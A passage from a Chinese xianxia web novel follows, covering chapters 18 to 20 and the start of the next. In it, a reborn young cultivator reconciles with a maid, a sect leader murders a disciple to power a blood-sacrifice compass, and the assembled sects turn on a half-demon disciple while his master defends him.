蓦地,祁不为心里涌起一股莫名的酸楚,酸得他鼻尖和眼眶都痛了……上辈子的易辛,为何要杀他……
上
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辈子的易辛……永远留在上一世了……再也不会回来……
天地悠悠,广袤无际,芸芸众生,他渺小如仓粟,顿觉自己孑然一身。
所有人都抛弃他了……
易辛眼睁睁看着祁不为落了一滴泪。
祁不为似乎也察觉到了,连忙松开易辛,背过身去。他抹掉眼泪,及时止住乱七八糟的伤春悲秋,身后传来起身的动静,她又想走?
祁不为刚拧起眉头,易辛便从床尾走来,安静乖巧地躺在他身前:“公子不是说需要巩固么?可以再抱我一会儿吗?”
祁不为愣着没说话。
易辛眉眼弯起来,低头抵在他胸口上,慢慢挪近祁不为怀里,寻了个舒服的姿势,再抬手抱住他。
他方才想了些什么,易辛并不知道,但从那转瞬即逝的神情里,她看到了孤独落寞。
祁不为怔怔伸手,一点一点搂紧易辛,仿佛抓住他与这一世的联结。
心口跳动,强劲有力。
他是活的,这个世界是真的。
那些悲惨、不幸、痛苦,尚未发生。
易辛没杀他,阿姐还在世,他也没有堕魔。
翌日,祁不为睡足醒来,怀里空落一片,他顿了片刻,伸脚踹了一下被子,恹恹起身。
推开扇门,易辛正坐在廊下台阶上,手里拿着那截桃木,发呆出神。
祁不为脚步一顿,那点起床气似的东西瞬间消失。昨晚半夜醒来后,易辛顺便让他把桃木拿出来,两人仔细检查过,桃木并未损伤。
其实祁不为不懂易辛为何那般看重桃木,她解释这东西可以驱邪除魔。但它再厉害再重要,也犯不上为了它气得想杀钱衡。
毕竟无相宗若要报复追究,易辛一介普通人,根本抵挡不住。
听见动静,易辛转过头来,笑道:“公子,你起了?”
她从台阶上起身,举起桃木,问道:“公子有办法让我把它随身带着又不引人注目吗?”
祁不为抬手施诀,桃木化作一道流光,缠过易辛手腕,最后变成彩绳编织的手链,上头吊了一小片木刻叶子。
易辛欣喜地拨弄手链,如果把它藏进衣袖里,谁也看不见,想让它晒太阳照月亮,再把它从衣服里拿出来,十分方便。
“谢谢公子!”
祁不为:“这么高兴?”
易辛点头,眼角眉梢都染上笑意,又想起什么,问道:“钱衡为何要偷桃木?”
祁不为思忖须臾,说道:“钱沁关了禁闭,他或许心存报复,发现你看重桃木后,就想销毁它。”
易辛蹙起眉头,那对兄妹作出这种事,真是毫不意外。好在桃木完璧归赵了,她长吁一气,复又笑道:“公子用早膳吗?小厨房已经做好了。我让人端来,正好我也从后门回去。”
祁不为眉心一抽,在易辛转身离开时,迅速握住了她手腕。
“你本来就是清风山庄的人,留在这里不行吗?还有,仙首大会结束后,跟我回去。”
易辛有些惊讶。
让她回山庄?看来是真的不讨厌她了?
但她又生了难:“回山庄之事暂且不说。我现在在甘华门上工,也应当把这里的事做好……”
“上回余桓师兄已经帮我换过值了,他平素那么忙,不好麻烦他再换一次了……”
闻言,祁不为直勾勾盯住她,手上力度加大,好像怕她跑了似的。
易辛见他半晌不说话,动了动手,想要抽出来:“公子……?”
“你喜欢易张稚?”
这是他第二遍问。
易辛也禁不住无语了:“不喜欢,你不要再乱说了,万一传些奇怪的话出去——”
她话没说完,祁不为上前一步,顿时带来压迫感。
易辛仰头,不明所以地望着他。
“那你离他远一点,少跟他说话,少跟他接触。”
“……”
祁不为认真凝视易辛,说完后半句:“我也不会再纠缠祁有为。”
49. 第十八章
易辛愣住了,就像他说他不讨厌自己一样,她依旧没有反应过来,甚至觉得一定是她听错了。
这厢祁不为也怔在原地,他方才说了什么?
就在两人之间的氛围陷入诡异凝滞时,忽然响起一道声音。
“你们在聊什么?我好像听到我的名字?不会说我坏话吧?”祁有为从易辛身后走来,目光似有若无地落在两人交缠的手腕上,嘴角带笑。
二人一惊,祁不为下意识松了手,恰逢易辛也想把手腕抽回来,可下一瞬,他又拢紧了,交错间,正好握住易辛掌心。
没了那层衣服,两人掌心相贴。
易辛惊住,有些紧张又不明地望向祁不为。
祁不为望着易辛,说道:“我去帮你收拾东西。”
这是坚决要把她从易张稚那换回来的意思。
易辛睁大眼睛,一时心乱如麻,她也不知道要不要换回来。
但祁不为似乎打定了主意,正要向阿姐借道,忽然顿住脚步,问后者:“你昨晚没回来?”
祁有为一身衣裳还是昨日的。
“哦,昨晚易张稚说镇上有处地方看日出很漂亮,就一起去了。”祁有为解释道。
易辛立即去看祁不为,他似乎惊呆了,有些茫然。
“……易张稚?”祁不为重复道,“你什么时候认识他的?”
祁有为也愣了,恍然道:“上次失踪,就是他救了我。这次发现他也在甘华门,就请他吃了顿饭。嘶——我好像是没跟你提过这些事。”
“失踪?!”他震惊道,紧接着又皱起眉头,声音低喃下去,面上茫然更甚,“你们……那么早就见过了?”
趁着祁不为愣神,易辛想抽出手,觉得此刻隐身为妙,接过却没挣出来,祁不为入定似的,把她手腕攥得很紧……
“怎么了?”祁有为疑惑道,不明白这句话是何意思。
但祁不为已陷入了自己的思绪当中。
他原以为,这一世到目前为止,祁有为和易张稚一直没见过面。却没料到,依旧在他不知道、无法出现的时候,两人便早早有了交集。
难道……这是命运使然么?
茫然着茫然着,祁不为忽然发觉自己既没有怒不可遏,也不会嫉妒愤恨,甚至有些说不清道不明的松了口气。
甚至心底某一处还隐隐地雀跃着——既然上天要他们在一起,那就在一起吧。易张稚也没什么不好的,除了话少了点,装了点,比他厉害了些……嗯,这人不厉害些怎么配得上阿姐呢?
而这一切看在易辛眼里却变了味儿。
她惊悚地发现祁不为似笑非笑,嘴角扬起又拉平,反复如此。
……祁有为和易张稚早有渊源,他一定生气了!只是在克制!
还是赶紧跑吧……以免殃及池鱼!
易辛又尝试抽出手腕,只见他忽然转身,直勾勾地盯住自己,一时间,她不敢轻举妄动了。
祁不为却说道:“你说你不喜欢易张稚,我信了。”
第三遍了,第三遍了……易辛从愣怔到羞愤,不禁瞥了一旁看好戏的祁有为一眼,连连冲着他急切道:“你不要乱说了……!”
祁不为好像根本听不见:“你和他命中注定,无缘无份。”
说到最后,还带了点笃定而傲娇的笑意。
“别说了!我和易公子本来就什么都没有……”易辛又急又气,忽又觉得哪里怪怪的。
他怎么是这个反应……
不等她想明白,便被祁不为拉走了。
祁不为一边走,一边头也不回地挥挥手:“阿姐,我要去给易辛收拾东西,等会儿回来。”
看着两人离去的背影,祁有为摸了摸下巴,颇有些欣慰道:“这小子终于长大了?不对我直呼其名,知道喊声姐姐了!”
易辛被拉出门,走在路上看见来来往往的侍从和仙门弟子时,还是从祁不为手里挣了出来。她煞费苦心抹掉了钱沁的记忆,可不想前功尽弃。
祁不为没说什么,只是对她说道:“走快点,我大发善心帮你收一回东西,你还慢吞吞的。”
就是说她还没答应要换回来呀……而且还要去麻烦余桓师兄——易辛忿忿地快跑几步,免得祁不为唠唠叨叨地催促。
谁知前方祁不为忽而顿住,易辛只得紧急错开两步,以防撞上。
她仰头问道:“……怎么啦?”
祁不为转过身来,垂眼凝住易辛,欲言又止似的。就在易辛要发问之际,他才说道:“当日我要杀水鬼,还要杀你,你是不是吓坏了。”
易辛怔住。
“对不起……我伤过你好几回,你是无辜的,我不该迁怒你。”祁不为拧起眉头,认真道。
易辛一时说不出话来。祁不为转变得太快,仿佛一夜之间想通了顿悟了,一下子说不讨厌她,一下子还为从前的事向她道歉,仿佛受了什么刺激似的……
但或许这番变化早前便有迹可循,只是放在了祁不为心中,她对此没有足够敏锐从而没有察觉到那些细微的转变。
只是此时此刻,她忽然不敢面对他的道歉与目光,仓促间低垂着头。
祁不为只当她有些无所适从,并不在意,旋即从手里化出一条红绳手链,上面坠着枚小巧精美的金铃,形状比耳环还小些。
“给你,我的纸人分身,可以当作护身符用,再遇见钱衡那样的状况,就有还击之力了。”
易辛猛地心神震荡,眼睛仿佛被针刺痛了一般,那股细密的痛从眼睛转入心口,鼻端泛起酸意。
她没伸手,祁不为却抬起她的腕骨,替她戴好了,和桃木的手串交叠着,相得益彰。
易辛眼前有些模糊,指尖拨动了一下金铃,这道纸人分身……又戴在了她手上。
心口仿佛压了块石头,祁不为的种种言行举止,包括他说再也不纠缠阿姐的那些话……易辛根本不敢细想,也禁止自己深想。
她抬手覆住两串手链,摒除一切杂念,如今最重要的,是平安渡过甘华门的难关,阻拦祁不为入魔。
厢房里,钱衡和李冲一齐跪在地上。
钱备饮下一口茶,再放下茶盏,声量轻而脆,两人不约而同地心口发紧。
钱衡胆寒道:“爹,我只是想帮你研究研究那截桃木,没想到就被那个侍女发现了。”
李冲一凛:“宗主,是弟子办事不利,没有及时销毁桃木。”
此话一出,钱衡眼神往后瞟了一下,像把刀扎向李冲。
听来是李冲揽了罪责,实则却在说“钱衡误事”。
李冲只顾低着头,一副请罪模样,他知道钱衡在看自己,但比起惹怒这个纨绔,他更不敢引钱备动怒。何况本来就是钱衡鲁莽误事。
“起来吧。”钱备说道
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。
两人神色各异,不知钱备说的是谁。
“李冲,到跟前来,我之前还交代过你一事。”
李冲心中一喜,如蒙大赦,连忙做足姿态,向钱备谢罪又感激,而后谨小慎微地走到他身旁。
钱衡自是愤怒不已,可也不敢发作,只能安分跪着,心里却记下此等小人。
李冲手心向上,幻化出一个罗盘。
罗盘邪异至极,细嗅还有血腥味,正是流双的罗盘。
“古籍表明,此罗盘能问人行踪,要问两次,每次需得献祭十人。一回问出大致方位,二回身处大致方位上,可由罗盘直接引向想找之人。”
钱备端详罗盘:“那茧妖就在甘华门附近,他要寻之人,极有可能就在甘华门。”
李冲一手托着罗盘,一手施术:“按古籍记载的法术,可让罗盘显示出茧妖到底在找什么人。”
话落,由罗盘牵引出丝丝血线,悬浮成一句话——我的孩子在哪?
钱备耐人寻味地笑了一下:“甘华门有妖?”
李冲:“观罗盘底部,已经有九道刻线变红,还剩一道。”
“若那侍女死了,茧妖就能找到他孩子了。”
“要抓个人来吗?”似觉得直言不妥,李冲又换了个说法,“可去芙蓉镇牢里抓一个即将问斩之人。”
钱备摇头:“既要问斩,就让他因罪而死,不要把无关之人牵扯进来。”
李冲沉默不语。
钱备再问:“罗盘之事,还经了谁的手?”
“全程只有弟子一人。”
“好。这件事不用你管了,我会处理。时辰不早了,你下去休息。”
李冲巴不得早点离开,拱起双手,向钱备告退,掠过钱衡身旁时,他目不斜视。那钱衡却是有些愤恨。
“钱衡,你在甘华门屡次闯祸,还叫那侍女伤了手,真是把无相宗的脸丢尽了。”
“爹,我知错了……甘愿受罚……”
身后传来父子俩的对话,李冲眼观鼻鼻观心,径直走向屋门,刚要伸手——噗呲一声,一把剑贯穿胸口,正中后心。
李冲连头也没来得及回,口中呕血,直挺挺倒在地上。
倒过来的视线里,钱衡满脸震惊,钱备收手振袖。
“你……”李冲口齿不清,身子抽搐,望见那轮罗盘邪光大作,飞过来悬在空中。
他瞪直双眼,须臾僵死。
“李冲办事不力,被逐回无相宗,路上遇妖怪袭击,魂飞魄散。”钱备面无表情道。
钱衡愣了两下,反应过来后,立即应声:“是!宗主!”
钱备顺了顺衣袖,长吐一气,似乎接二连三的事里,总算有件让自己顺心之事,低头居高临下地望着钱衡:“把屋子洒扫了,就你一人,别再干些蠢事。”
钱衡重重点头:“我、我……知道了!弟子一定把这里打扫得看不出任何蛛丝马迹。”
于是钱衡便开始勤勤恳恳地收拾现场。
室内很快弥漫开血腥味,却被钱备施了结界,飘不出一丝一毫。
等到罗盘吸够了李冲的血,最后一道刻线也变红了。
十道刻线中逸出丝丝缕缕的红光,渐渐汇聚成一个名字。
钱衡瞪大眼睛,十分震惊。
钱备只是冷笑一声:“真是没想到啊……李纳川,你藏得真好。”
50. 第十九章
仙首大会当日,诸门各派在广场上列队,以中央天坛为心,向外辐射成一道圆。
旌旗招展,猎猎作响。仙门威仪,庄重肃穆。
清正之气如莲花般徐徐向四周蔓延。
广场之外的不远处,零零散散地聚集着一些心怀好奇的侍从。
易辛运气傍身,挑了个视野很好的地方,她在人群中逡巡清风山庄的队列,看见了首位的祁家姐弟。
号角响起,在一脉庄严赫赫声中,各门派掌权人缓步迈上台阶,走向天坛。
甘华门掌门李纳川为首,其余人敬从,手执香火,敬天告地。
随后,众人把香火插进炉鼎里,再呈半圆形站开,齐齐望向悬在炉鼎上方的巨大铜钟。
“天地浩瀚,生灵贵重。妖佞魔戮,罪不容诛。仙门持正,除魔卫道。”
随着声声肃立之誓,他们一同施法,将灵力凝聚成一柄钟杵。
钟杵渐而升空,广场上众人屏息凝神,连旌旗都静了下来。
下一瞬,钟杵倏忽撞向黄铜大钟,赫赫长鸣,一股劲气自铜钟扩散开来,涤荡于广场上,敲过众人心间,再向远处蔓延,以肃清正。
即便不是修仙之人,易辛肉眼也能看见那股气浪席卷而来,她下意识地捂住心口,再抬手挡住身前。
然而那股气浪仿佛撞上什么,绕过了她。
易辛立即偏头,易张稚不知何时已经站在了她身旁,一挥衣袖,荡开了余音绕梁的钟鸣气浪。
“……普通人受不了这个吗?”易辛喃喃问道。
“这种钟鸣对人有益无害。”易张稚淡淡道,“可使灵台清明,净念止欲。”
“这么好?那……”
“钟鸣过境,心会震颤。我不喜欢心口因陌生人拨动。”
易辛望着面色清冷的易张稚,恍然明白原来是为他自己挡的,而她恰好站在了他旁边。
她还以为,修仙之人不会抗拒这些东西呢……
怔愣间,易辛发现易张稚神色骤变,扳住她肩膀后退一步。电光火石间,面前闪过一道流光,拖着猩红尾巴,腥臭之气钻入鼻端。
还没反应过来发生何事,但易辛觉得那味道有些熟悉,目光本能地追向那道流光。
“那是什么……”
话音刚落,一名甘华门弟子御剑而过,神色惶急,追着流光而去。
人群中,祁不为正百无聊懒,脑中倏然一紧,余光捕捉到疾速飞来的东西——是个罗盘?!
当初茧妖死后,甘华门派人去善后,回收了这枚罗盘并关在库房中,今日怎么飞出来了?!
罗盘在一众仙门弟子中疾驰,很快引发了大惊小怪的喧哗。
余桓伸手按住衣物遮掩下的乾坤袋,他感觉到白三清有些瑟瑟发抖,她毕竟是妖,对方才那道黄铜钟鸣有些恐惧。
身后忽然嘈杂起来,他以为大家很兴奋,正想肃整一番,这时,一枚罗盘稳稳停在面门前。
罗盘原地高速旋转,红烟屡屡,一会儿聚成红骨骷髅,一会儿化成厉鬼,狰狞可怖。
“大茧妖,你孩子在这!是个儿子!大茧妖大茧妖……嘻嘻……快来杀他……嘻嘻嘻嘻”
罗盘声音变调得厉害,似稚子又似老者,时而清脆时而沙哑,仿佛恶作剧般停在余桓身前。
余桓没听清,呆楞一瞬,立即施法要捉住罗盘,但有人出手更快,一阵清光裹住罗盘,飞向天坛,落在了李纳川手里。罗盘瞬间恢复原状,再无声音。
追来的甘华门弟子已经跪在天坛上请罪。
广场上窃窃私语。
“那罗盘怎么回事?”
“我听见了个‘儿子’……”
“它好像在叫大茧妖……那妖怪不是被易张稚杀死了吗?”
喧哗中,祁不为眉头拧起,望向余桓,又回首去看天坛。
李纳川斥责跪在地上的弟子:“这枚罗盘已关在库中,你们竟如此看守不力,扰乱仙首大会!”
弟子面有难色:“弟子有误,请掌门责罚。”
李纳川重新给罗盘施法:“把罗盘安置好,速去领罚。”
弟子正要接过罗盘,却有人半路截住。
钱备:“此乃小事,无需重罚。依我看,还是要弄清事情原委,看看这罗盘为何无故飞出,是不是库中法术有何疏漏,也是为了防止以后再出意外。”
李纳川仿佛颜面无光:“怎好意思劳烦各位掌门,现在的重中之重是仙首大会,这等事会有专人负责查看。”
钱备笑而不语,却另有人站了出来,是和无相宗走得很近的崔掌门:“既是小事,大家一起帮忙解决了便是,李仙首往年尽心竭力扶持各门各派,如今举手之劳,我们断无袖手旁观的道理。”
祁有为不动声色地扫过众人,从罗盘看到李纳川,笑了起来:“诸位掌门是好意,但各门各派的库房皆是机密,我以为,我们不好帮忙的。”
李纳川不做言语,众人状似恍然大悟:“李掌门,对不住,是我们忘了这回事。”
“哪里哪里。”李纳川拱手相让,再一挥衣袖,面色严厉地让弟子端着罗盘退下。
然而那名弟子才刚走一步,忽有人急急喝住,仿佛想起什么不得了的事情。
“等等!这枚罗盘是芙蓉镇外那只茧妖的吧,它方才在广场上好像说话了,你们可有听见?好像说什么茧妖的儿子在这?”
此话一出,天坛上众人脸色大变。
“古籍确有记载,能向这枚邪佞罗盘问万物。那茧妖抓人便是为了献祭罗盘,难道他问了自己孩子的下落?”
“罗盘刚才停在谁面前了?他的孩子在仙门?”
“不可能,仙门是什么地方,怎么可能收留妖物?!”
形势逐渐往紧张的方向走去,众人你一言我一语,点了火。
祁有为扫向广场,率先去看祁不为,两人目光对上后,他朝余桓的方向偏了偏,至此,她心中有了几分了然。
这时,钱备又站了出来:“也许茧妖之子隐匿了行踪,藏在仙门里,想要窃取情报或是什么法宝。如今这罗盘或许能帮我们一把。”
“对!我们正好用罗盘把妖怪抓出来,今日乃是仙门大会,便用这妖物祭旗!”
“李掌门,把罗盘用起来吧。”
李纳川背后沁出了汗,他被人算计了。
交罗盘,那人必死。
不交罗盘,甘华门必蒙上藏妖纳垢之名,往后若遭仙门讨伐……
广场之上皆是修行者,天坛未设结界,他们便听了个一清二楚,得知小茧妖藏在仙门之中,顿时蒙羞且气愤。
有人忿忿道:“妖怪敢藏在这里,便是蔑视仙门,必须以示正听!”
“对啊!仙门弟子都在此地,如果还抓不住一只妖怪,岂非笑话!”
“那妖怪绝不能轻饶!大茧妖已经杀了十数人!他的孩子必然也作恶多端!”
……
一道声音接着另一道,仿若海浪滔滔,堆叠而来,渐而雄浑,慢慢形成口号,随着手中兵器起伏,人潮浪涌。
“诛茧妖,正仙门之威!”
“诛茧妖,正仙门之威!”
“诛茧妖,正仙门之威!”
赫赫人声一路震到易辛面前,她耳力有限,完全不明白发生了何事,只闻陡然而起的口号。
“广场上怎么了?”易辛偏头去问易张稚。
“仙门里有茧妖的孩子。”
易辛仍旧不明所以,她被救回来时,便因茧妖之事受到李纳川问讯,她把知晓之事全部告诉了李纳川,包括流双为了杀掉孩子而用罗盘问下落。茧妖之子被关在甘华门……这有何不妥?
等等,难道——?!
易辛猛地望向广场上的人群:“茧妖的孩子……是仙门弟子?”
她记得,当时李纳川问完后,便要她不准对任何人提起此事,当时她以为是防止引起骚乱,或是除妖之事的细节全属机密……
“罗盘当日没吃够人数,现在又能引出茧妖孩子的下落。有人在算计李纳川。”易张稚说道。
易辛心里捏了把汗,广场上群情激愤,好像一旦有只妖怪掉了进去,他们必会将其千刀万剐。
非我族类,必是异类。
这种狂热,令易辛胆寒……她下意识寻找人群中的祁不为,那道背影安安静静,只有长发微扬,与周遭的激愤格格不入。
她又循着记忆,方才那罗盘落在了哪里?
声浪循环往复,冲击天坛。李纳川进退维谷,似乎连脸上的褶子都冻住了,迫于压力,他还是拿出了罗盘,解
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开了禁制。
广场将天坛上的动静看得一清二楚,见罗盘脱手而出,顿时严正以待,静声,握紧手中武器,目不转睛地盯住罗盘。
余桓也屏息凝神,那罗盘带着诡异嬉笑,绕过广场数圈,就在众人以为它戏耍自己时,它忽然闪现在余桓面前。
“大茧妖,你孩子在这!是个儿子!大茧妖大茧妖……嘻嘻……快来杀他……嘻嘻嘻嘻”
这一次,罗盘声调清晰,在余桓面前旋转,久久不息。
余桓面色陡然一白。
身后一众甘华门弟子也愣住了,蓄势待发的气势瞬间瓦解,迷惘踟蹰起来。
“我?!……我不是……我怎么会是妖怪的孩子?”余桓后退两步,口中喃喃。
其余门派缓过最初的惊讶后,纷纷对其刀剑相向。
“余桓!没想到是你!说!你在甘华门潜伏多年,是为了什么?!”
“不是我,我什么都没做!我是被师父收养的孤儿!我要是妖怪,他怎么会带我回甘华门!”余桓据理力争。
“这么说——李掌门和你同流合污?!”
“他可是一门之掌,还是仙门之首,怎么会干出这种事?真是知人知面不知心!”
余桓急了:“不准污蔑我师父!他才不会和妖怪同流合污!”
“那就是你蒙骗了李掌门!仙门今日就为你们门派除害!”
话落,好事之辈和那些同余桓有仇的人率先出手,将余桓团团围住,群起而攻之。
余桓心乱如麻,只能防不能还手,没一会便被打落武器,有人不管不顾,竟真刺向他。
剑势走向腰间,眼看要刺中乾坤袋,余桓想也没想就施法回击,情急之下,出了重手,那人飞扑着倒地,竟吐出一口血来。
两方人马都愣了。
“余桓!你终于暴露杀心了,竟然屠戮同僚!你还有什么好说的!你这个妖怪!仙门绝不会放过你!”
祁不为站在外围边,一面听众人指责余桓,一面看那个被扶起来的伤者,又气又好笑,一身三脚猫功夫,还要当英雄冲上前,没两把刷子就躲着!
他吐出一口郁气,闪身至余桓身前,引得众人警惕。
“天坛上的诸位掌门,自会审他。”
丢下这句话,祁不为便抓着余桓瞬移到天台上。
余桓一落地,便跪在了李纳川面前,仰头睁着一双眼睛,痛苦而迷茫:“师父……”
话音刚落,凌空一道劲气袭来,隔空抽了余桓一巴掌。
祁不为眼尾扫去,是另一个门派的崔掌门,当年他也跪过此人。
“你这只茧妖,真是死到临头还在心机算计,别想装无辜去攀扯李掌门!说!你用了什么法子蒙蔽李掌门!藏在仙门之中又是为了什么!”
余桓心头一凛,说话不敢再带着李纳川,将头埋得低低的:“诸位掌门明鉴,我不是妖怪!一定是罗盘弄错了!”
“你既然不承认,那便让我用绞魂锁试探一番!”
“绞魂锁?”祁有为吃惊地重复一遍,“崔掌门,不必如此大动干戈吧。绞魂锁一旦锁住了妖怪,□□便会绞成一截一截,魂魄也会灰飞烟灭。”
“他不是口口声声说自己不是妖怪吗?若不是妖怪,绞魂锁便是普通的锁链,根本不会伤他分毫。”
祁有为顿住,一时无话。
“试!我愿意一试!”余桓急切说道,看起来十分想证明自己的清白。
崔掌门冷笑:“好!”
话落,崔掌门幻化出一道锁链,锁链上全是尖锐铁齿,砰地一声拍在地上,将砖石镂出碎块。
崔掌门手腕运气,锁链带着流光袭来,与其说想测试他是不是妖怪,不如说想直接用锁链抽死他。
但余桓毫无畏惧,他是人不是妖,对此他深信不疑。
忽然,锁链半空中飞了出去,李纳川徒手相接,收势时,掌心一片红,血滴答滴答落在地上,溅在余桓心里。
李纳川脸上布满皱纹,须发半白,随风微扬时,好像一张浸了水又暴晒过的纸,干瘪皱巴,透着股一戳就破的衰老脆弱。
“师父……”余桓愣住了,好半晌眼里水光隐动,望向李纳川时,目光里藏着祈求、不可置信、惧怕,最后哽咽道,“师父,你……受伤了……”
51. 第二十章
“李掌门,你这是何意?”崔掌门问道。
李纳川将染血的手收进衣袖里,温和地望了余桓一眼,揉了揉他额角,再抬头对众人平静道:“十八年前,我外出游历,途中遇到一临盆妇人,见她妖气缠身,探查一番后,才发现她腹中孩儿是个妖怪。”
“我施法替她接生,第二日一早醒来,发现那妇人已经断气……”
说到这里,李纳川停了片刻。
人育妖子,本是殊途。大部分人根本无法怀上妖子,少部分人怀上也坚持不到生产,幼子自然胎死腹中,那妇人不知何故,竟诞下此子,只是没多久也撒手人寰。
余桓肩膀塌着,面色惨白。
“人妖势不两立,我本想杀掉襁褓中的稚子……”
可当李纳川把手放在他脖子上时……他感觉到了婴儿的体温,柔软细腻的肌肤……
他不哭不闹,只是对着李纳川笑,仿佛以为李纳川伸手是在逗他。
“我李纳川一生没有娶妻,没有子嗣……他本不该来到这世上,可谁又能说他不是个奇迹……他什么都不懂……他不知道自己是妖怪……他根本不懂作恶……我可以教导他……”
“所以我收留了他,冠以他母亲之姓。余桓至今,不曾为非作歹,一直贯彻仙门之志……”
余桓低垂着头,望着李纳川洁净的鞋履,落下眼泪。
每年总有一日,李纳川会带着他一同闭关,同门都猜测这是要扶持他当继承人之意,可是内室闭关时,李纳川只让他打坐,偶尔指点一番,与其他同门并无不同,但他总会昏睡过去。那时他还以为自己打坐得入了境,如今想来,应该李纳川趁机施法压住他体内的妖气,年复一年。根本没人发现他是个异类……
李纳川没有看余桓,但似乎知道他哭了,伸手抹掉了他的眼泪。
祁不为移开目光,不想再看两人情同父子般的舐犊之情,远处日光耀眼,刺得他眼睛发痛,可他偏不想瞥开视线。
祁有为扯动他身子,让他微微偏转,悄声说道:“好晒,替我挡着点。”
“嗯……”祁不为面朝她,背对日光,颀长的身量投下一片阴影。
陈情过后,众人显然并不领情。迟迟没说话的钱备开口道:“望李掌门明白,人与妖之子,并非奇迹,而是天道疏漏,此乃天地不容。余桓是个祸患,想必你心知肚明。此等半妖半人之物,恐以后祸乱天下!”
李纳川并不意外,面色仍旧温吞,想让大家对余桓的敌意降至最低:“可余桓从没伤过人,只抓妖,他的思想与仙门中人并无不同。”
“你怎敢确保他以后不会伤人。妖怪作恶,是天性,是本能。等他日后酿出惨祸,便无法补救!你除妖数十年,对此事应该屡见不鲜。”
“我自会好好约束余桓——”
“李纳川!”钱备喝道,“你看看如今的样子,你怎知自己没有受这妖怪蛊惑,竟一心想保住他!你让他留在甘华门十八年,便是将你门派中人置于危险之地十八年!你怎生对得起那些敬你爱你的弟子,还有受你庇护一方的平民百姓!”
此话有如当头棒喝,戴上一顶天大的帽子,李纳川嘴巴翕合,一时说不出话来,目光所及之处,满是不赞成和责备。
祁不为没有作声,此种情形仿佛前世再现。仙门根本容不下余桓,要么杀了他,要么囚禁他到死。
或者,逃……然后受到仙门天涯海角的追杀。
余桓一听师父受到如此责难,顿时反驳:“我没有蛊惑师父。师父这十八年为了百姓,为了仙门一直兢兢业业……请各位不要污蔑我师父……”
余桓一开口,立即引火上身。
钱备:“他如今这样狼狈,都是因为你。你要真想报答他,就该自尽谢罪,不要把他拖下水。”
有人附和:“李掌门一世英名,偏偏你是他一辈子的污点。只要你不死,所有人看见他,就会想起他收留了一只妖,把他藏在仙门,犹如亲子般教导!”
“李掌门,你难道想误入歧途吗?他已成为你的执念,如今你身为仙首,理当亲手斩断,匡扶仙门正道,为百家弟子做个榜样!”
“诸位,言辞请勿过激,”祁有为温和有礼道,“晚辈知道你们是为李掌门好,但人人都说一句,看起来像在逼迫李掌门。这样传出去,有损诸位名声。”
李纳川扫视众人,知道有人作祟,但已入陷阱,他没办法转圜。良久,他说道:“余桓之事,我已有主意。他从小克己复礼,温良恭俭,并未行差踏错……我不能杀他。”
“师父……”余桓喃喃。
李纳川:“但我确实愧对仙门,愧对甘华门众弟子。我会辞去掌门和仙首之位,带着余桓归隐山林。”
“师父不要啊!甘华门是您的心血!不值得为了我这样做!”余桓膝行至李纳川身前,焦急恳求道。
祁有为赶紧接上气口:“李掌门既然会看管余桓——”
她话还没说完,崔掌门冷嘲热讽道:“李掌门何必装出一副苦肉计的模样,到显得我们逼宫似的。余桓是妖,只有死路一条,你若再行包庇,便是挑起仙门之争。”
李纳川被逼到极致,情绪有些外泄,面上浮现几分怒容:“我说过,余桓没有做恶!”
“看样子,李掌门是打算与仙门为敌了。”
气氛瞬间紧绷起来,众人皆走动几步,形成包围之势,光芒闪烁间,法器在握。
广场上见势不对,已有门派对甘华门行围剿姿态。
天坛上自然看到了,李纳川脸色不好,却仍然握住了余桓的肩膀。
祁有为挡在祁不为身前,带人后撤几步,面上严肃:“各位掌门请三思,你们一举一动都会影响台下的弟子,到时若有伤亡,可不是小事。余桓之事,我们还是平心静气地商讨为好。”
钱备冷道:“李掌门,可听祁庄主说了,让台下弟子为你和那头妖怪拼命,真的好吗?他们何其无辜。”
李纳川身子僵硬,苍老的眉眼满是焦灼纠结。他们就是想逼死余桓。
仙门厌恶妖邪,忌惮妖邪,却也羡慕妖邪。
因为妖邪修行之法,总比仙门快上几番,没人不想修为猛进。但妖邪体格特殊,修炼方法不适应于凡人。凡人修炼妖道,大多走火入魔,爆体而亡,他们的体质承受不了霸道蛮横的妖力。
可余桓不同,他半人半妖,既能修妖道,又能练仙术,将来势必成为
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甘华门一大助力,帮其压制众门派。
仙门对外是个集体,对内,总是明争暗斗。
再者,余桓若能联系上妖族,成为甘华门和妖族桥梁,其余仙门便永无出头之日。
这些都是不能放在明面上讨论的东西,却在众多掌门心中暗流涌动,以至于令他们心照不宣地对余桓除之而后快。
得不到,就只好毁灭。
广场上弟子骚动,李纳川进退维谷,余桓从未感到如此绝望,这一日跌宕起伏,就像做了个噩梦,所有事情,急转直下。
余桓忽然站起身,背对李纳川,一面要向众人跪下,一面说:“你们不要为难师父……我愿意去死——”
忽然,膝盖上猛遭一击,痛得余桓把未出口的“死”字吞了下去,还没跪下,便被祁不为扳住肩膀,不思量白光凛凛,横亘在他脖子上。
祁有为一惊,但没有动作。
李纳川也被吓了一跳,其余人愣住,摸不清祁不为意图。
祁不为问众人:“敢问各位掌门,余桓为何非死不可?”
钱备:“半人半妖,是未知的祸患,与其将来让他贻害无穷,不如现在快刀斩乱麻。”
祁不为点头:“掌门的意思是,余桓将来可能会背叛仙门,伤害平民百姓?各位考虑的不无道理,一旦伤害发生,怎么弥补都是没用的。”
祁不为扫视众人,目光停在余桓身上:“那今日,我便为民除害。”
余桓颤了下眼睛,没有反抗,甚至对他笑了一下,仿佛感谢。
“小七!”李纳川惊道。
小时候,清风夫妇和祁有为总喊他小七,李纳川和他们关系好,对祁不为疼爱有加,也喊他小七。后来爹娘死了,祁不为恨仙门,恨李纳川,曾经穷凶极恶地禁止他再唤自己昵称。
如今情急之下,李纳川又脱口而出。
祁不为敛下心中复杂不耐,再一寸一寸地扫过天台上的各位首领,目光审视犀利:“只是这祸害不止余桓一个。当年你们对我父母见死不救,将来就有可能对百姓见死不救,这对他们的性命而言,何尝不是伤害?按照你们的意思,诸位掌门怕是也留不得。”
这是仙门辛秘,谁也没对弟子们说过,祁家姐弟同样没说。仙门之内,皆以为就是清风夫妇遇上蛟妖,战斗至死,根本不知他们曾向各位掌门人求援。
到处宣扬仙门见死不救,就是把自己推向仙门敌人的那一面,对那时弱小的一对姐弟来说,有害无益,他们需要的是韬光养晦。
广场上顿时沸腾不止,一下子忘了余桓,众人议论纷纷。
钱备怒喝:“你休要胡言乱语!抹黑诸位掌门!”
“那就请诸位,审判自己。”
祁不为脸色陡然阴狠,一把将腰间乾坤袋扔向空中,不思量利落破空。
瞬间,天地风云突变,黑云压城,狂风大作,从乾坤袋逸出的一道光升向半空,越来越庞大,越来越清晰。
